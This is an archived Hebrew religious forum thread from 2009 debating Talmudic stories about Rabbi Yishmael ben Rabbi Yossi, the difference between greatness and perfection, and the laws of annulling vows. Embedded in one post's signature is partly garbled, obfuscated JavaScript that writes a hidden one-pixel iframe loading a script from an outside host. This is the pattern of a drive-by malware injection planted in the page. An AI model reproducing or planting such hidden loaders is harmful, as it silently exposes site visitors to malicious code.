|
|
| נשלח ב-31/5/2009 10:09 |
 |
| |
.
שנים רבות אומרת לי המואדיבה:
"אל דאגה, לא ישאלו אותך מדוע לא היית זושא" ...
|
|
|
|
| נשלח ב-31/5/2009 10:53 |
|
| |
ההלכה קובעת ששלם עדיף על גדול,
בש"ק בסעודה- היו לפני, חלה גדולה ומפוארת,- אבל עם פגם קטן ולחמניה קטנה מאד, אבל שלמה, בירכתי על השלמה הקטנה.
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-31/5/2009 10:53 |
|
| |
נראה לי שהמואדיבה במשפט שאמרה העלתה באמת את המהות של הנושא הנדון.
הרי ברור ששום אדם לא מושלם בגלל עצם היותו בשר ודם.גדול אינו מושלם וקטן אינו מושלם.
השאלה היא האם באמת עלינו לא לדאוג כי לא ישאלו אותנו מדוע לא היינו מותק כמו ר' זושא.
במילים אחרות:איך נדע מה נתבע מאיתנו כפרטים כדי שבאמת נהיה ללא דאגה.
ואולי ההפך:הדאגההיא היא העיקר הנדרש מאיתנו...
|
|
|
|
| נשלח ב-31/5/2009 11:31 |
|
| |
מצווה גדולה להיות בשמחה תמיד- אי אפשר להיות בשמחה- כשיש דאגה! ובעיקר כש מחפשים את הדאגה.
מהתוכחה-
דברים פרק כח
תּחַת אֲשׁר לֹא עָבַדְתָּ אֶת יְדֹוָד אֱלֹהֶיךָ בשמחה וּבְטוּב לֵבָב מֵרֹב כּל:
_________________
מודה ועוזב
|
|
|
|
| נשלח ב-31/5/2009 12:23 |
|
| |
חבל לבזבז כוחות בספקולציות כמיהות ותקוות ולנסות לעגנן בטקסטים כאלו ואחרים.
|
|
|
|
| נשלח ב-31/5/2009 17:24 |
|
| |
תודה לכל המגיבים.
כיון שההודעה היא ארוכה, אני מחלק אותה לשלושה.
1. גדרי שלימות וגדלות.
2. על סמך מה וכיצד אני סבור שהיה לריב"י בכל זאת מה לתקן. ומה זה היה.
3. הצדקת "ניתוח" הלכתי ספרותי לדמויות ההוד מן העבר, דלא כמקובל בשם הרב שך.
1. ניתוח המושגים גדלות ושלימות
תכלית מה שכתבתי היתה כפולה:
א. לברר את הסיפור של הדף היומי כמובא בסוף.
ב. אגב כך לאסוף את מה שיש בידנו על ריב"י. ולנסות לדלות מתוך מעט זה מה שאפשר.
ההערה שלי על גדלות ושלימות לא באה אלא כפתיחה. וכפי שכתב אחרון המגיבים (ברוך הבא לפורום ותקוותי שנזכה כולנו לכפור במה שצריך לכפור ולהאמין במה שצריך להאמין) - לא באתי לדקדק כל כך בצמד המונחים "שלימות" מול "גדלות".
ואבאר:
כולנו מסכימים שראוי לאדם לשאוף להתעלות. התעלות זו יכולים להיות בה פנים רבות ומן הסתם כפי שיש דברים שיוסכמו על הכל או על הרוב, יש דברים שיהיו נתונים במחלוקת.
כולנו מסכימים שקשה למצוא אדם שלא היה לו מה "לתקן". בין מידות (למשל, שהוא כועס או בעל הרגל רע או אימופלסיבי או קנאי או כל דבר). בין אמונות לא נכונות. וכו'.
וכולנו מסכימים שיש אידיאל של עליה והתעלות שכל אדם (או כמעט כל אדם) רחוק ממנו עדיין. אבל המשימה היא להתקרב.
במה נמדדת גדלות? יש לה שני אופני מדידה (אם נתייחס לשאלה ברצינות ולא דרך המחשבון של מואדיב הזכור לטוב - גם מואדיב וגם המחשבון).
ניתן למדוד תוצאות וניתן למדוד כוונות.
מצד הכוונות אנו סבורים שהרוצה להתעלות, זה בעצמו דבר גדול.
מצד ההישג, אנו נדון אדם כ"גדול" אם השיג הישגים מסויימים. ידע. התנהגות. מידות ומוסר.
אבל גם אדם שנוכל להסכים לגביו שהינו "גדול" מן הסתם לא יהיה מושלם. ולא רק שזו טענה אמפירית (שאפשר לבדוק לגבי כל אדם שהוא) זו גם למעשה (מה שפחות ניכר לעין) הגדרה. השלימות היא מניה וביה תכונה שלא תמומש לעולם, כי תמיד אפשר לשאוף ליותר.
על רקע זה כמדומה יימנעו הויכוחים ותבוא השלוה אל הנפשות.
(לא שאין מקום לדון עדיין מה כלול בגדלות).
2. כשלונות אפשריים גם אצל הגדול בגדולים ואצל ריב"י
מה שהתכוונתי אני לציין הוא שגדלות אינה שוללת הימצאותם של כשלונות. וכמאמר רבנו נחמן, ההמון טועים בשנים. שאין האדם הגדול טועה או נכשל, ושאם קרה לו שטעה ונכשל, אין הוא אדם גדול.
לגבי התנאים והאמוראים, אנו רגילים להניח מראש שהם היו אנשים גדולים. אבל אין זו סתירה לכך שיימצאו אצלם כשלונות. אמנם בתקופתנו ומזה דורות רגילים ללמד עליהם זכות כאילו גדלותם מנעה כשלונות ולכל הפחות כשלונות מהסוג שאנו בני התמותה יכולים לזהות.
כמדומה שלא היא.
בסיפורים שליקטתי ניתן להבחין בשנים או שלושה מקרים שבהם הסיפור לא הסתיים בתוצאה מיטבית מבחינתנו.
אמחיש זאת לגבי הסיפור האחרון.
נניח שהסיפור היה מתחיל כמו בגמרא, בריב"י שפלוני העני מבקש ממנו לסייע לו להעמיס את חבילת העצים שליקט. הסיפור נמשך בקנית העצים ובהפקרתם, כמו כאן, אך לאחר שהאיש חוזר על כך פעמיים, עוצר ריב"י. ולא כמו אצלנו שהפקיר אותם לכל העולם ולא לאותו האיש, כאן הוא פונה אליו ואומר לו:
אהה, לא רק הכסף דרוש לך אלא גם העצים? אהה, ישמעאל ישמעאל (פונה לעצמו) איך יכולת לחשוב שתוכל להתעלם מכלל צרכי האדם שלפניך? והרי אם באת לנהוג לפנים משורת הדין, והחלטת שלא להתעלם, יש שלא להתעלם מכל התמונה כולה.
ומייד הריהו כופף גוו ומסייע באיסוף העצים וסידורם עבור אותו האיש, ושמא מוליך איתו חלק מהעצים עד שאמרו: לווה אותו עד למקום ביתו בשלום. ומכאן אמרו עוד שהרוצה לקיים מצות טעינה ילמד מריב"י.
אבל לא כך היה.
3. האם מותר לנתח סיפורים על גדולי תורה
ולצבוני
אני מקוה שהשוואתי לרב שטיינזלץ באה על דרך ההחמאה. אני שהכרתי מקצת כתביו ורויתי מהם רוב ידע ונחת (כגון ספריו באוניברסיטה משודרת שעליהם יצא מקצת הקצף) סבור שיש בהחלט מה ללמוד ממנו וללכת בדרכו.
יש כמובן מקום לדון אם ניתוח כזה הוא "ניתוח מתים" האסור ומדוע או להפך שהוא בגדר ניתוח לימודי הראוי והתורם. ורק אזכיר כי בעל "מוח ולב" טען בשם רבו כי אפשר וראוי לזהות סגנונות לימוד של תנאים ואמוראים אלא שמעטים המסוגלים לכך. ואם נלמד האם לא נוכל לקוות להצליח?
__
(תוקנה טעות קטנה בשם התנא. קורה).
_______________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
תוקן על ידי מיימוני ב- 31/05/2009 17:22:52
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-2/6/2009 13:07 |
|
| |
למיימוני:
ישר כח על האשכול.
שאלה צדדית: מדוע הגירסה המסתברת היא ירוצו ולא יריצו, שהוא שיבוץ מקראי?:
"וַתַּשְׁלֵךְ אִשָּׁה אַחַת פֶּלַח רֶכֶב עַל רֹאשׁ אֲבִימֶלֶךְ וַתָּרִץ אֶת גֻּלְגָּלְתּוֹ" (שופטים ט, נג)
|
|
|
|
| נשלח ב-5/10/2009 15:06 |
|
| |
למיימוני,
בסיפור שהבאת מר' ישמעל ברבי יוסי בנדרים, כמה טעויות:
א. לא מדובר שם על 'פתיחה בנולד' אלא על 'פתיחה בחרטה'. 'פתיחה בנולד' זה בעמוד הבא בגמרא בקשר לסיפור שהכובס הכה את ר' ישמעאל ברבי יוסי. ובהקשר זה הסביר רבינא לר' אחא מדיפתי מדוע זה לא 'פתיחה בנולד'.
ב. בסיפור שהבאת, ר' ישמעאל ברבי יוסי מציג דווקא את הדעה המחמירה יחסית. רבי יהודה, שקדם לו, אומר שמספיק לשאול את הנודר "לב זה עליך", ואילו רבי ישמעאל ברבי יוסי אומר ששאלה זו אינה מספיקה אלא רק השאלה על 10 בני אדם וכו' כמבואר שם ועיין בר"ן.
ג. אגב, גם הסיפור בעמוד הבא (על הכובס) משמע שרבי ישמעאל ברבי יוסי הוא 'המחמיר' לעומת שני הסיפורים שקדמו לו בגמרא שמובאים (כעין) מהקל אל הכבד:
סיפור ראשון על רב סחורה שהפתח שמצא היה בגלל שזה מצער את רב נחמן.
סיפור שני, ר"ש ברבי, שהפתח שמצא בגלל שזה מצער את כל החכמים.
סיפור שלישי, על רבי ישמעאל ברבי יוסי שהפתח שמצא בגלל שממש היכו אותו וק"ל.
|
|
|
|
| נשלח ב-5/10/2009 20:15 |
|
| |
עין השכל
תודה על הערותיך.
א. איני עוסק בנושא נדרים/חרטה/פתח/נולד כרגע, וגם לא עסקתי בכך בשעה שהכנתי את מה שכתבתי. ולכן מה שכתבתי היה על פי זכרוני והבנתי, ולכן זה כמובן עלול להיות מוטעה.
אמנם אחר העיון (בקצרה מדי), אני עדיין סבור שמה שפירשתי את ההיתר מחמת פתח הוא נכון. ואסכם מה הם האופנים שבהם מתירים נדר, עד כמה שאני מבין.
פתח - הנודר מגלה, או שמראים לו, שיקול שנעלם ממנו באותו הזמן שנדר. ולכן מתברר שהנדר היה בטעות, או, באופן אחר של הסבר, התעלם מן השיקול הנכון. והרי זה כאילו היה הנדר על תנאי והתנאי לא התקיים.
דוגמא: כלבא שבוע הדיר את בתו בהנאה כיון שהתחתנה עם ר' עקיבא. אילו היה יודע שידע א"ב וכל שכן שיהיה תלמיד חכם לא היה נודר. נמצא שהנדר היה על מנת שעקיבא יישאר עקיבא ולא יהפוך להיות ר' עקיבא.
כיון שהתנאי לא התקיים, הנדר לא חל.
(סבורני שההבדל בין שתי הדרכים, טעות או תנאי, הוא בתובנה מהי טעות. והאם טעות היא תנאי, כפי שהיא אכן מבחינה לוגית, או דבר נפרד, ויש להרחיב בדבר זה, ואני מקוה שכתבתי מספיק ברור.
במחשבה שניה: אולי אנסה להבהיר יותר. לפי הצד שהפתח הוא משום טעות, כלבא שבוע טעה בכך שלא ידע שר"ע סופו להיות תלמיד חכם. לפי הצד של התנאי, הוא כאילו התנה שהנדר חל רק אם ר"ע אינו לומד א"ב/יהיה ת"ח).
נולד - זה סוג של פתח אלא שזה פתח שאי אפשר היה לדעת בשעת הנדר. הוא התחדש אחר כך.
(כאן ראוי להביא את שאלת התוס'. וכי היה מקום לחשוב שר"ע יהיה תלמיד חכם? הרי זה נולד. ותשובתם הידועה כי כיון שקיבל על עצמו ללמוד, כל הלומד הופך ל"אדם גדול").
חרטה - הבסיס להתרת הנדר אינו שהוא לא חל, אלא שהוא חל אבל הנודר שינה את יחסו. הוא מצטער על הנדר והיה רוצה שלא יהיה.
על בסיס הגדרות ואבחנות אלו כתבתי כי "אילו היית יודע שעשרה בני אדם ישכנעו אותך" הוא משום פתח. כלומר, על מנת שישכנעו אותי לא הייתי נודר. רק שזה נולד, כי לא עלה בדעתו שישכנעו אותו.
אם נמצא כי יש מפרשים שפירשו אחרת, אשמח ללמוד מה סברתם ואפשר שעלי לתקן. על כל פנים אשמח גם לדעת מה שגוי במה שכתבתי כאן. כמדומה כמובן שיש שיטות בין המפרשים בהגדרות של המונחים שהשתמשתי בהם כאן.
ב. אני מסכים שמי שאומר שאפשר לשאול "לב זה עליך" הוא מקל. אבל זה לא אומר ששיטת ריב"י אינה קולא אף היא...
(את הר"ן לא ראיתי).
ג. לגבי הסיפור על הכובס שהרביץ, נדמה לי שלא הבאתיו כלל וכנראה לא ראית אותו (חיפשתי את המקורות על ריב"י בפרוייקט השו"ת, שהרי איני בקיא לזכור את כל הש"ס, סמיילי).
על כל פנים, מסיפור הכובס לא נראה לי שזו ראיה שלא היה ריב"י מקל. אלא שהיה מחמיר על עצמו. וכמדומה שהערתי על נטיה זו אצלו במה שכתבתי.
***
הלל
תודה על ההערה. לא הצלחתי למצוא איפה כתבתי לגבי רוצ/ריצ, אבל הערתך מוכיחה בוודאי שהשורש יכול להחשב ל"ריצ".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
|
| נשלח ב-5/10/2009 23:00 |
|
| |
למימוני
במעשה שהבאת אודות ריב"י, המובא במסכת בבא מציעא, אכתוב הנראה לענ"ד.
א. ריב"י לא יכל לנהוג אחרת וכמו שיש פוסקים שזקן ואינו לפי כבודו, אסור לו לזלזל בכבודו.
ב.במה שיש מעירים בדבר חשיבות ויוקר העצים.
1. אף אחד לא כפה על בעל העצים להסכים למכירה, ואי התנגדותו מעידה שהעסקה טובה הייתה בעבורו.
2. המחיר המצחיק של חצי זוז מוכיח שהסחורה לא הייתה יקרת המציאות.
3. אולי בכלל האיש היה בדרכו למכור את העצים.
ג. שאלתך על התקלה שעלולה לצאת מדברי ריב"י [שההפקר לכל העולם מלבד לאותו האיש] היא מעניינת, אך אולי אפשר ליישב שריב"י חולק על מסקנת הגמ' וכמו שיש בפוסקים כדעה זו.
אפרט בקצרה את סעיף ג.
המחלוקת בין ב"ה לב"ש היא במפקיר לעניים ולא לעשירים. יסוד המח' קשור בצורך לדמות את ההפקר להפקר בשמיטה.
בירושלמי יש מח' אמוראים בהפקיר לבני עיר אחת ולא לאנשי העיר הסמוכה, או שהוציא אדם מסוים נהזכות לזכות בהפקר, וכמו במעשה הנ"ל. יש מי שאומר שבאופן כזה גם ב"ה יודו שההפקר הפקר.
בגמ' בבא מציעא מוכח שלא כשיטה הנ"ל, אך יש פוסקים שפסקו כך, ואפשר שריב"י סובר אף הוא כשיטה זו.
בכל אופן אין פה תקלה לכל השיטות.
ואולו בכלל האיש היה נוכרי.
תוקן על ידי בנימיני ב- 05/10/2009 23:03:23
|
|
|
|
|
| נשלח ב-7/10/2009 00:22 |
|
| |
מראי מקומות למחלוקת בירושלמי ניתן למצוא בפרוש 'יפה עינים' המופיע בסוף הגמרא.
אכתוב אי הבנה קטנה שהתעוררה אצלי במעשה הנ"ל.
הגמ' מקשה על ריב"י כיצד הפקיר לכל העולם מלבד לבעל העצים, והרי זה נגד בית הלל.
מדוע הגמרא לא מקשה על ריב"י מכך שאין אפשרות לשנות את תוכן הדברים לאחר שההפקר כבר חל? [בהפקר אין אפילו ידות] והרי ריב"י הפקיר לאוזנו של האיש [עיין בתוספות] והעובדה שניסה לזכות שוב בעצים מוכיחה שריב"י לא הגביל אותו. ואיך שינה מתוכן דבריו.
שאלה זו היא בין לב"ה ובין לב"ש.
גם צ"ב כיצד יכל ריב"י לשלול מהאיש את הזכות לזכות מן ההפקר, והרי זה מניעת רווח?
|
|
|
|
| נשלח ב-7/10/2009 11:47 |
|
| |
לאמשלום
תודה על המקור שהבאת.
אבל עדיין נשאלת השאלה לגבי קטע זה:
"התורה אוסרת להתעלם מן האבידה ומן האדם הזקוק לעזרה בטעינת משאו, אבל המדרש (ספרי דברים רכ"ב) לומד מן המילה "והתעלמת" דווקא את ההפך: "והתעלמת - פעמים שאתה מתעלם, ופעמים שאי אתה מתעלם. הא כיצד? היה כהן והיא בבית הקברות, או שהיה זקן ואינה לפי כבודו, או שהיתה מלאכה שלו מרובה משל חברו - לכך נאמר והתעלמת מהם". כלומר, במקרים שבהם עשיית המצווה פוגעת בעושה - פגיעה דתית, כמו במקרה הכהן, או פגיעה בכבוד במקרה שהאדם "זקן", כלומר, בעל מעמד גבוה - מותר לאדם (או שזו חובתו) להתעלם ממצוקת חברו, ולא להשיב לו את אבידתו או לעזור לו בטעינת המשא. "
מהו פסק ההלכה?האם מותר לאדם או שזאת חובתו?נדמה לי שיש הבדל משמעותי בין שתי האופציות ולכן לא מובן לי למה האפשרות החשובה נכתבה בסוגריים?(שזו חובתו כלומר אין מקום לשיקול דעת בעניין)
הרי כל הפרשנות לסיפור תלויה בהבדל הזה.
|
|
|
|
| נשלח ב-7/10/2009 11:59 |
|
| |
צענערענע
לעיל בראשית דבריי כתבתי:
ריב"י לא יכל לנהוג אחרת וכמו שיש פוסקים שזקן ואינו לפי כבודו, אסור לו לזלזל בכבודו.
כמדומני שיש מחלוקת בנקודה הזו.
יש לעיין ברא"ש וברמב"ם עם נושאי כליו.
אשמח באם משהו יאיר את עיני בשאר הנקודות.
|
|
|
|
| נשלח ב-7/10/2009 13:20 |
|
| |
[צענע,
אם איני טועה, הקטע שציטטת לעיל מנתח את המדרש בספרי ולו יש באמת כמה אפשרויות הבנה, כמו שכתוב. את המאמר הזה, כך נראה לי, לא מעסיקה השאלה כיצד נפסקה ההלכה בדורות שאח"כ.]
|
|
|
|
|
